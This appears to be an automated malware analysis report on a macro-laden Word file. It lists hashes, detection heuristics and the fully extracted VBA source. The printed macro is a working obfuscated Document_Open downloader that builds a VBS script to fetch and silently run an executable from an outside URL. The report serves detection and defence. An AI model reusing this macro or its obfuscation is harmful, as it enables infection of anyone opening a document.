Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b01ed3920636caa0…

MALICIOUS

Office (OOXML)

15.7 KB Created: 2020-06-30 10:35:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-29
MD5: abb4c62611fb538a92fd6e51287bba4e SHA-1: 6e6701415f13717e901fe445cb13d5683240f3e5 SHA-256: b01ed3920636caa0ecc4b5109e06dd2d33cc25b03e4127723c7e7a4c86834ede
470 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro that executes upon opening the document. This macro is obfuscated and uses a custom decoder to reconstruct strings. It constructs a URL to download a second-stage executable named 'TEST.EXE' from 'http://hananshakeel.com/files/test.exe', saves it locally as 'whvwQh{h', and then executes it. This behavior is indicative of a downloader malware.

Heuristics 10

  • ClamAV: Doc.Macro.Downloader-6360616-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Downloader-6360616-1
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Chr(773 - 706) & Chr(1056 - 979) & Chr(1050 - 950) & Chr(191 - 159) & Chr(1002 - 955) & Chr(843 - 744) & Chr(191 - 159) & Chr(843 - 744) & Chr(1050 - 950) & _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Shell Chr(773 - 706) & Chr(1056 - 979) & Chr(1050 - 950) & Chr(191 - 159) & Chr(1002 - 955) & Chr(843 - 744) & Chr(191 - 159) & Chr(843 - 744) & Chr(1050 - 950) & _
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     " & " & S3b & " A6j= ""http://hananshakeel.com/files/test.exe"">>G4h.VBS &" & S3b & " J3s = M7h(""whvwQh{h"")>>G4h.VBS &" & S3b & " Set T9t = CreateObject(M7h(""pv{poUQ{pokwws""))>>G4h.VBS &" & S3b & " T9t.Open M7h(""jhw""), A6j, False>>G4h.VBS &" & S3b & " T9t.send ("""")>>G4h.VBS  &" & S3b & " Set G8g = CreateObject(M7h(""dgrgeQvwuhdp""))>>G4h.VBS &" & S3b & " G8g.Open>>G4h.VBS &" & S3b & " G8g.Type = 1 >>G4h.VBS  &@eCHo G8g.Write T9t.ResponseBody>>G4h.VBS &" & S3b & " G8g.Position = 0 >>G4h. …
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell Chr(773 - 706) & Chr(1056 - 979) & Chr(1050 - 950) & Chr(191 - 159) & Chr(1002 - 955) & Chr(843 - 744) & Chr(191 - 159) & Chr(843 - 744) & Chr(1050 - 950) & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     " & " & S3b & " A6j= ""http://hananshakeel.com/files/test.exe"">>G4h.VBS &" & S3b & " J3s = M7h(""whvwQh{h"")>>G4h.VBS &" & S3b & " Set T9t = CreateObject(M7h(""pv{poUQ{pokwws""))>>G4h.VBS &" & S3b & " T9t.Open M7h(""jhw""), A6j, False>>G4h.VBS &" & S3b & " T9t.send ("""")>>G4h.VBS  &" & S3b & " Set G8g = CreateObject(M7h(""dgrgeQvwuhdp""))>>G4h.VBS &" & S3b & " G8g.Open>>G4h.VBS &" & S3b & " G8g.Type = 1 >>G4h.VBS  &@eCHo G8g.Write T9t.ResponseBody>>G4h.VBS &" & S3b & " G8g.Position = 0 >>G4h. …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://hananshakeel.com/files/test.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1665 bytes
SHA-256: 33e605c0ce8447f870c2b5e19cfaa36e38cd7975e81e514162e25b23bae98217
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Sub Document_Open()
S3b = Chr(64) & Chr(69) & Chr(67) & Chr(72) & Chr(79)
Shell Chr(773 - 706) & Chr(1056 - 979) & Chr(1050 - 950) & Chr(191 - 159) & Chr(1002 - 955) & Chr(843 - 744) & Chr(191 - 159) & Chr(843 - 744) & Chr(1050 - 950) & _
 Chr(191 - 159) & Chr(205 - 168) & Chr(697 - 613) & Chr(299 - 230) & Chr(614 - 537) & Chr(329 - 249) & Chr(205 - 168) & _
 " & " & S3b & " A6j= ""http://hananshakeel.com/files/test.exe"">>G4h.VBS &" & S3b & " J3s = M7h(""whvwQh{h"")>>G4h.VBS &" & S3b & " Set T9t = CreateObject(M7h(""pv{poUQ{pokwws""))>>G4h.VBS &" & S3b & " T9t.Open M7h(""jhw""), A6j, False>>G4h.VBS &" & S3b & " T9t.send ("""")>>G4h.VBS  &" & S3b & " Set G8g = CreateObject(M7h(""dgrgeQvwuhdp""))>>G4h.VBS &" & S3b & " G8g.Open>>G4h.VBS &" & S3b & " G8g.Type = 1 >>G4h.VBS  &@eCHo G8g.Write T9t.ResponseBody>>G4h.VBS &" & S3b & " G8g.Position = 0 >>G4h.VBS &" & S3b & " G8g.SaveToFile J3s, 2 >>G4h.VBS &" & S3b & " G8g.Close>>G4h.VBS &" & S3b & " function M7h(N5e) >> G4h.VBS &" & S3b & " For S4u = 1 To Len(N5e) >>G4h.VBS &" & S3b & " F2w = Mid(N5e, S4u, 1) >>G4h.VBS &" & S3b & " F2w = Chr(Asc(F2w)- 35) >>G4h.VBS &" & S3b & " G8e = G8e + F2w >> G4h.VBS  &" & S3b & " Next >>G4h.VBS &" & S3b & " M7h = G8e >>G4h.VBS &" & S3b & " End Function >>G4h.VBS  & G4h.VBS  &dEl G4h.VBS  & tIMeOUT 13 & TEST.EXE", vbHide
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: e2c682dda7e33f27ae5218d15b6f98cb7269fef4bec64337aa839b1c17e7af24
Detection
ClamAV: Doc.Macro.Downloader-6360616-1
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.